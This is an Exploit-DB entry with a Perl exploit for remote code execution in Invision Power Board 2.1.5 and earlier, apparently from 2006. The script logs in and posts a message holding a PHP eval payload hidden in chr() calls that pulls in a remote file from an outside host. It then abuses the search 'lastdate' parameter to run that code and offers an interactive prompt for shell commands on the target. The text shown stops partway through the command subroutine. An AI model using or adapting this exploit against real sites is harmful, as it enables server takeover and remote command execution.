Exploit-DB #1720
Description: Invision Power Board 2.1.5 - 'lastdate' Remote Code Execution
Type: webapps
Platform: php
Date: 2006-04-26
Author: RusH

Exploit:
#!/usr/bin/perl

## Invision Power Board 2.* commands execution exploit by RST/GHC
## vulnerable versions <= 2.1.5
## tested on 2.1.4, 2.0.2
##
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru


use IO::Socket;
use Getopt::Std;

getopts("l:h:p:d:f:v:");

$host     = $opt_h;
$dir      = $opt_d;
$login    = $opt_l;
$password = $opt_p;
$forum    = $opt_f;
$version  = $opt_v || 0;

$|++;

header();
if(!$host||!$dir||!$login||!$password||!$forum) { usage(); }

print "[~]    SERVER : $host\r\n";
print "[~]      PATH : $dir\r\n";
print "[~]     LOGIN : $login\r\n";
print "[~]  [CREDENTIAL_REDACTED]\r\n";
print "[~]    TARGET : $version";
print (($version)?(' - IPB 2.1.*'):(' - IPB 2.0.*'));
print "\r\n";

print "[~] Login ... ";

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
$login    =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$password =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$post     = 'UserName='.$login.'&PassWord='.$password;
$loggedin = 0;
print $sock "POST ${dir}index.php?act=Login&CODE=01 HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";
while (<$sock>)
{  
 if(/session_id=([a-f|0-9]{32})/) { $sid = $1; }
}
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
print $sock "GET ${dir}index.php HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n\r\n";
while (<$sock>)
{    
 if(/act=Login&amp;CODE=03/) { $loggedin = 1; last; }
}
if($loggedin) { print " [ DONE ]\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }

print "[+] SID: $sid\r\n";

print "[~] Try get md5_check ...";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
if($version==1)
 {
 print $sock "GET ${dir}index.php?act=post&do=new_post&f=${forum} HTTP/1.1\r\n";
 }
else
 {
 print $sock "GET ${dir}index.php?act=Post&CODE=00&f=${forum} HTTP/1.1\r\n";
 }
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n\r\n";
while (<$sock>)
 {  
 if($version == 1 && /ipb_md5_check\s*= \"([a-f|0-9]{32})\"/)  { $md5_check = $1; last; }
 if($version == 0 && /auth_key' value='([a-f|0-9]{32})/) { $md5_check = $1; last; }
 }
close($sock);
if($md5_check) { print " [ DONE ]\r\n"; print "[+] MD5_CHECK : $md5_check\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }

print "[~] Create new message ...";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
$created = 0;
$text = 'r57ipbxplhohohoeval(include(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(114).chr(115).chr(116).chr(46).chr(118).chr(111).chr(105).chr(100).chr(46).chr(114).chr(117).chr(47).chr(114).chr(53)'.
        '.chr(55).chr(105).chr(112).chr(98).chr(105).chr(110).chr(99).chr(46).chr(116).chr(120).chr(116))); //';
$post = "st=0&act=Post&s=&f=${forum}&auth_key=${md5_check}&removeattachid=0&CODE=01&post_key=&TopicTitle=justxpl&TopicDesc=justxpl&poll_question=&ffont=0&fsize=0&Post=${text}&enableemo=yes&enablesig=yes&iconid=0";
print $sock "POST ${dir}index.php HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";
while (<$sock>)
 {  
 if(/Location:/) { $created = 1; last; }
 }
if($created) { print " [ DONE ]\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
print "[~] Search message ...";
$post = 'keywords=r57ipbxplhohohoeval&namesearch='.$login.'&forums%5B%5D=all&searchsubs=1&prune=0&prune_type=newer&sort_key=last_post&sort_order=desc&search_in=posts&result_type=posts';
print $sock "POST ${dir}index.php?act=Search&CODE=01 HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";

while (<$sock>)
 {
 if(/searchid=([a-f|0-9]{32})/) { $searchid = $1; last; }
 }

if($searchid) { print " [ DONE ]\r\n"; }
else { print "[ FAILED ]\r\n"; exit(); }
print "[+] SEARCHID: $searchid\r\n";

$get = 'index.php?act=Search&CODE=show&searchid='.$searchid.'&search_in=posts&result_type=posts&highlite=r57ipbxplhohohoeval&lastdate=z|eval.*?%20//)%23e%00';

while ()
 {
    print "Command for execute or 'exit' for exit # ";
    while(<STDIN>)
     {
        $cmd=$_;
        chomp($cmd);
        exit() if ($cmd eq 'exit');
        last;
     }
    &run($cmd);
 }

sub run()
 {
  $cmd =~ s/(.*);$/$1/eg;
  $cmd =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
  $cmd2 = '%65%63%68%6F%20%5F%53%54%41%52%54%5F%20%26%26%20';
  $cmd2 .= $cmd;
  $cmd2 .= '%20%26%26%20%65%63%68%6F%20%5F%45%4E%44%5F';
  $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
  
  print $sock "GET ${dir}${get}&eharniy_ekibastos=$cmd2 HTTP/1.1\r\n";
  print $sock "Host: $host\r\n";
  print $sock "Cookie: session_id=$sid;\r\n";
  print $sock "Connection: close\r\n\r\n";

  $on = 0;
  $runned = 0;
  while ($answer = <$sock>)
   {
    if ($answer =~ /^_END_/) { return 0; }
    if ($on == 1) { print "  $answer"; }